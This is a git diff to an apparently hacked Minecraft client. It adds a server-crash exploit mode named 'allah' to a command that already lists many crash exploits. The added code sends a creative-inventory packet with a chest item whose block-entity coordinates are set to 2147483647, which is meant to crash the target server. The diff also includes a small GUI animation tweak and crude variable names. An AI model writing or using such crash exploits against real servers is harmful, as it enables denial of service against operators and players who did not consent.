diff --git a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java index c1d5801..4aeacf6 100644 --- a/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java +++ b/src/main/java/net/shadow/client/feature/command/impl/ServerCrash.java @@ -46,7 +46,7 @@ public class ServerCrash extends Command { @Override public PossibleArgument getSuggestionsWithType(int index, String[] args) { - return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"), new PossibleArgument(ArgumentType.NUMBER, "(power)")); + return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "allah"), new PossibleArgument(ArgumentType.NUMBER, "(power)")); } @Override @@ -68,6 +68,20 @@ public class ServerCrash extends Command { Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Riding Crash Exploit"); } + + case "allah" -> { + ItemStack ez = new ItemStack(Items.CHEST, 1); + NbtCompound nbt = new NbtCompound(); + nbt.put("x", NbtDouble.of(2147483647)); + nbt.put("y", NbtDouble.of(0)); + nbt.put("z", NbtDouble.of(2147483647)); + NbtCompound fuck = new NbtCompound(); + fuck.put("BlockEntityTag", nbt); + ez.setNbt(fuck); + theFuckingNetworkHandler.sendPacket(new CreativeInventoryActionC2SPacket(39, ez)); + Notification.create(2000, "Server Crash", Notification.Type.SUCCESS, "Sent Allah's Crash"); + } + case "book" -> { int size = new IntegerArgumentParser().parse(args[1]); for (int i = 0; i < size; i++) { diff --git a/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java b/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java index 9a4372c..1c953a5 100644 --- a/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java +++ b/src/main/java/net/shadow/client/feature/gui/clickgui/ClickGUI.java @@ -306,8 +306,8 @@ public class ClickGUI extends Screen implements FastTickable { if (closing) { d *= -1; } - introAnimation += d; - introAnimation = MathHelper.clamp(introAnimation, 0, 1); + introAnimation = 1; + //introAnimation = MathHelper.clamp(introAnimation, 0, 1); trackedScroll = Transitions.transition(trackedScroll, scroll, 7, 0); for (Element element : elements) { element.tickAnim();